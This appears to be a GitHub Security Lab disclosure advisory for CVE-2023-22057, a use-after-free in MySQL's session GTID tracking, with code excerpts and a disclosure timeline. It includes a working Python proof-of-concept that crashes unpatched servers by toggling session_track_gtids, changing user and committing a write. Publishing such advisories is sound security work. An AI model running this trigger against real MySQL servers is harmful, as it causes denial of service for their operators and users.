Coordinated Disclosure Timeline
- 2023-06-01: Issue reported to Oracle
- 2023-07-18: Fix was made public as part of Oracle’s Critical Patch Update release for July
Summary
A segfault can be triggered by switching session_track_gtids
on and off and then either resetting the session or switching users, resulting in a loss of service.
Product
MySQL
Tested Version
8.0.28, 8.0.33.
Details
use-after-free in rpl_context.h
(GHSL-2023-116
)
MySQL is vulnerable to Denial of Service (DoS) attacks when attackers are able to trigger an use-after-free (UAF) condition. In order to do so, attackers need to get MySQL into a state where m_listener
is a dangling pointer when Session_consistency_gtids_ctx::notify_ctx_change_listener()
is called.
inline void notify_ctx_change_listener() {
m_listener->notify_session_gtids_ctx_change();
}
This is triggered by first setting the session_track_gtids
session variable to either ALL
or OWN_GTID
, which causes the session’s Session_gtid_tracker
object to set m_enabled
to true
and then register itself as m_listener
.
m_enabled = thd->variables.session_track_gtids != SESSION_TRACK_GTIDS_OFF &&
/* No need to track GTIDs for system threads. */
thd->system_thread == NON_SYSTEM_THREAD;
if (m_enabled) {
// register to listen to gtids context state changes
thd->rpl_thd_ctx.session_gtids_ctx().register_ctx_change_listener(this,
thd);
Then, session_track_gtids
must be set to OFF
again, which causes m_enabled
to be set to false
again.
The connection must then be reset, either by sending a COM_RESET_CONNECTION
or a COM_CHANGE_USER
. Both of these result in a call to THD::cleanup_connection()
, which eventually destroys the Session_gtid_tracker
object:
THD::cleanup_connection()
→ THD::cleanup()
→ Session_tracker::deinit()
→ Session_gtid_tracker::~Session_gtid_tracker()
Session_gtid_tracker::~Session_gtid_tracker()
only unregisters itself as m_listener
if m_enabled
is true
, which isn’t the case as of the previous step. This leaves m_listener
as a dangling pointer.
~Session_gtids_tracker() override {
/*
Unregister the listener if the tracker is being freed. This is needed
since this may happen after a change user command.
*/
if (m_enabled && current_thd)
current_thd->rpl_thd_ctx.session_gtids_ctx()
.unregister_ctx_change_listener(this);
if (m_encoder) delete m_encoder;
}
session_track_gtids
must then be set to ALL
or OWN_GTID
again, which results in a new Session_gtid_tracker
trying to register itself as m_listener
, which fails because m_listener
is not nullptr
.
Any committed write transaction will then generate a GTID, which will trigger a call to Session_consistency_gtids_ctx::notify_ctx_change_listener()
, which will dereference the dangling pointer and most likely segfault.
This can be reproduced with the following Python script (gtid_mode
must be set to ON
or ON_PERMISSIVE
).
#!/usr/bin/env python3
import mysql.connector
cnx = mysql.connector.MySQLConnection(
port=3308,
user='test_user_1',
password='test',
database='test',
connection_timeout=99999,
)
print(cnx.cmd_query("SET session_track_gtids = 'OWN_GTID'"))
print(cnx.cmd_query("SET session_track_gtids = 'OFF'"))
print(cnx.cmd_change_user(
username='test_user_2',
password='test',
database='test',
))
print(cnx.cmd_query("SET session_track_gtids = 'OWN_GTID'"))
print(cnx.cmd_query("INSERT INTO test VALUES ()"))
print(cnx.cmd_query("COMMIT"))
In order to trigger the crash, the following conditions must be met:
- The ability to toggle
session_track_gtids
. Since this is a session variable any level of access will allow that. - The ability to reset the session. An attacker could do this with any level of access by sending a
COM_RESET_CONNECTION
request. - The ability to commit any write transaction. It cannot be a no-op since it must generate a GTID, which means that it must be written to the binlog. An attacker would need at least write access to any table.
Impact
This issue may lead to Denial of Service (DoS).
Resources
MySQL issue
CVE
- CVE-2023-22057
Credit
This issue was discovered and reported by GitHub team member @owbone (Oliver Bone).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-116
in any communication regarding this issue.